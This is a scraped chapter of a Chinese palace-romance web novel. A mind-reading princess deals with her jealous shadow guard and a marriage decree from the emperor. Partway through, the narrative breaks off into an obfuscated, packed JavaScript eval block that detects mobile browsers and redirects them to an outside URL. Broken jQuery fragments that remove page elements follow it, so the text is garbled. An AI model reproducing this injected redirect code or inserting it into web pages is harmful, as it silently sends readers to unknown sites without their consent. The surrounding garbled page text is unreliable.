默认冷灰
24号文字
方正启体

11. 第 11 章

作者:恣熠本书字数:K更新时间:
    楚娆听闻此话气得酒杯都要捏碎了,却强颜欢笑:“阿影,你别管他,你接着赏月。”


    “遵命。”(好,怕我伤害她心肝,都不让我管他了……)


    秦奕对此刻桌上的暗流涌动浑然不觉,直到筷子探到影皈迟面前,在影皈迟眼皮底下扯走了烧鸡的一只腿。


    “啪嚓。”


    影皈迟手里的筷子断成两截。


    秦奕没注意,道:“殿下要赏月,简直和臣想到一处去了。臣先前在书铺就是在找一本诗集,此人是幽州诗人,写月景一绝啊。”


    楚娆道:“你倒是清闲?方才还和本宫喋喋不休抱怨宫里当差劳累,现在又有空去书斋了?你可别忘了本宫要你办的事情。”


    秦奕哪敢忘啊,笑道:“臣不敢。”


    影皈迟看着两个人一来一往,你一言我一语,心里酸的很。酸完了又觉得自己似乎没什么资格发酸,自己只是个没有任何身份的影卫,注定在影子里潜伏一生。而秦奕可是公主未婚夫,自然和她更有话说……


    不过这些心声也被楚娆一字不漏的听在耳朵里。


    有那么一瞬间,楚娆甚至生出一丝负罪感。


    不过这点脚踏两只船错觉出的负罪感很快就烟消云散,毕竟她也没忘了在原著中就是李岱间接把她害死的。


    李岱不就是影皈迟吗?


    李岱就是影皈迟吗……


    这顿饭就在两个人各怀心事中结束了,秦奕倒是心满意足,酒足饭饱了,留下楚娆左右为难。


    解释,暴露自己目的,引起对面疑心,还容易把自己置于劣势。


    不解释,那就只能眼睁睁看着这小影卫在跑偏的道路上越走越远。


    算了,明天再想办法和他旁敲侧击一下吧,他这样一个高高大大的男人心眼却如此小,哼。


    宣政殿前。


    秦太尉作为魏家旧部,虽说自己也功勋卓绝,没受到魏家牵连,但在朝中的人际却不那么好走了。


    不过秦太尉是个脊背硬的武将,也不屑于和那群工于心计之人为伍。上朝时候更是两手一背谁也不理。


    这样特立独行自然也会被有心之人盯上。更远处有位新上殿的文臣,身着绿袍,朝中的人脸都还没认全,问身边的红袍大臣:“宋侍郎大人,敢问那位大人是……?”


    宋侍郎正是宋昭云她爹,隶属楚邺阵营,瞥了眼秦汝全:“这是咱们太尉大人。”


    绿衣大臣道:“哦……百闻不如一见,太尉大人英姿挺拔,果然有武将世家之风啊。”


    官场之人最会察言观色,绿衣大臣见自己说完这句话,宋侍郎笑而不语不置可否,立刻口风一转:“不过这武将心思最为粗犷,太尉大人行事不羁,素来怕是独来独往的吧?”


    宋侍郎道:“不错。你也少去找不痛快,朝中人人都对此人唯恐避之不及呢。”


    两人正说着,身着朝服的楚娆居然也出现在了宣政殿前,径直走向秦汝全:“太尉大人。”


    “端阳殿下!”


    绿衣大臣:“哦,这殿上女子,莫非是传说中那位和皇子同权同责的长公主殿下?”


    宋侍郎意味深长的看着楚娆和秦太尉相谈甚欢的背影:“是。”


    绿衣大臣:“竟是长公主殿下……微臣去给殿下请安,暂别侍郎大人了。”说罢拱手,脚步急匆匆的走向楚娆。


    宋侍郎在原地不屑:“不过是凭着男宠殷勤结亲,龌龊至极!”


    晨钟敲响,寒鸦纷飞。


    众臣列队,踩着逐级而上的阶走进宣政殿内。天子高坐在明台之上,两侧孔雀羽毛打扇,映出他俯瞰众生的不屑和高傲。


    众人给天子请安,他也只是微合着眼,直到身侧太监提醒才道:“众卿平身。”


    楚昼的眼睛如同年迈的鹰,扫过殿下众人,目光停留在一处:“端阳公主来了。”


    楚娆强忍着内心的恶心:“儿臣楚娆,拜见天子。”


    楚昼道:“身体可是大好了?”


    “多谢陛下挂怀,儿臣已然大好。”


    自魏皇后病故,楚娆再不呼父皇。


    楚昼点点头,没再说什么。


    重臣疏奏了一些日常政务上的事情,楚娆全都默默记下了,临近散朝的时候,楚昼单独留下了楚娆。


    楚娆跪在冰凉的地面上,没有抬头。


    楚昼坐在黄金的龙台上,没有低头。


    父亲道:“朕听宁氏说,你前些日子大闹未央宫,还大方厥词说要纳君?”


    楚娆不卑不亢:“纳侧君是真。可儿臣并未大闹未央宫。”


    天子道:“宁氏是你长辈,长辈的话可有错?”


    楚娆:“……”


    天子:“也罢。你既然有意于秦家幼子,那朕就为你们赐婚。李德全,两月之后是邺儿婚期吧?”


    李德全道:“正是。”


    天子大手一挥:“那便让礼部将端阳公主的一同操办了吧。”


    李德全道:“陛下,二殿下是娶妻,公主是纳侧君,礼数上讲,公主的婚制是不能越过皇子的。”


    天子道:“那便不在同日,这些事情还要朕来管吗!”


    李德全连忙答应。


    楚娆道:“谢,天子赐婚!”


    这一遭楚秦联姻算是彻底敲定了,婚期就定在八月十六,楚邺婚期后一天。


    楚娆回府之后只觉身心俱疲,把一应事务交代给暖玉之后就睡过去了。


    睡梦中迷迷糊糊看见影皈迟坐在她榻边。


    楚娆翻了个身,含糊道:“你有事吗……本宫很困。”


    影皈迟没搭话。


    不过楚娆早就习惯了,影皈迟一直都这么安静。


    一直都这么安静吗?安静的有点儿诡异了吧!


    楚娆发现自己没听见影皈迟到心声,顿时一身冷汗,她僵硬的转过头,突然发现影皈迟正在用一种看死人的眼神看她。


    楚娆瞪大眼睛:“影皈迟你干什么!”


    影皈迟冷笑:“我叫李岱。”


    下一刻钢索般的手死死掐住楚娆的脖子!窒息的痛苦如同毒蛇般缠绕。


    眼前一黑。


    楚娆直直坐起来,身下的褥子已经被冷汗浸湿。纱幔外面守夜的品梳点燃烛灯:“殿下?”


    楚娆一开口,声音哑的吓人:“暖玉?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449287|201116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    品梳拉开帘子,暖黄的烛光均匀的泼洒帐中:“殿下梦魇了?暖玉姐姐回家探亲了,殿下今日亲自放她走的,殿下忘了?”


    对,对。


    暖玉回乡探亲了。


    楚娆强迫自己冷静下来,快速从噩梦带来的余悸中清醒。


    可是梦中影皈迟过分冷淡的双眼,致命的招式,都让她的痛苦犹在耳畔。


    她不仅开始想,如果自己没有得到听见心声的能力,那她现在面对影皈迟,面对一个沉默的,毫无波澜的影皈迟,那她又该怎么办?


    楚娆接过那盏灯:“品梳,你先退下吧……”


    品梳道:“殿下梦魇,品梳为殿下煮一碗安神茶来吧……现在才是三更,殿下明早还要上朝。”


    楚娆道:“也好。”


    靠在枕上,楚娆迟疑再三终于开口:“影。”


    他会出现的。


    楚娆对此心知肚明,因为她先听见了影皈迟的心声:“做噩梦了。她难得有害怕的时候……”


    影皈迟不知从什么地方闪到她榻边,隔着层层叠叠的纱幔跪下:“殿下。”


    楚娆扭头,看见影皈迟跪下也依旧笔直的身姿,问:“若有一天,本宫挡了你往上走的路,你会不会杀了我?”


    影皈迟斩钉截铁:“不会。”(怎么突然这么问,我为什么要杀了你?)


    楚娆却嘲道:“你凭什么说的这么肯定?欲壑难填……”


    “不会。”他重复道。


    楚娆听见他心里一遍遍在说:“我哪里舍得伤害你一丝一毫,我会用生命去保护你啊。”


    楚娆道:“这世间想为本宫舍生忘死之人如过江之鲫……你觉得你是其中一人吗?”


    人在深夜,尤其是噩梦初醒的深夜,总会暴露出自己最原始的性格。


    楚娆从小被捧着长大,少年时横遭变故,她骨子里就是高傲又多疑的。目中无人是她,明媚骄矜是她,心机深沉手段狠毒也是她。


    她不相信这世界上有谁能为谁舍生忘死,也不相信那些说谁喜欢谁的大话,她只相信那些能被握在自己手里的东西,比如玉玺,财富,八方拜服。没有价值,谁为了你舍生忘死?没有权利谁愿意真心顺服?


    这世间想为本宫舍生忘死之人如过江之鲫,你觉得你是其中一人吗?


    这世界上恋慕本宫权势地位的人如过江之鲫,你是其中一个吗?


    影皈迟沉默良久,终于道:“不是。”


    楚娆道:“那你凭什么说你不会?”


    影皈迟道:“为你。”


    我所臣服的并非权势,并非财富。


    是你。


    楚娆却只觉耳旁只剩下心跳如雷,又是杂乱一片,什么都听不清楚。


    这一夜楚娆没有睡,影皈迟也没有走,只是沉默的跪在原地,听着院里更漏一滴滴落下。品梳端来安神茶,被楚娆止在了屋外,转了两圈终于离开。


    楚娆后知后觉的回忆起昨夜宴席上的一切,后知后觉的发现:原来他是吃醋了。


    他吃醋的后果就是跪在地上一遍遍表明忠心?


    真是个……好不严重的后果啊。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)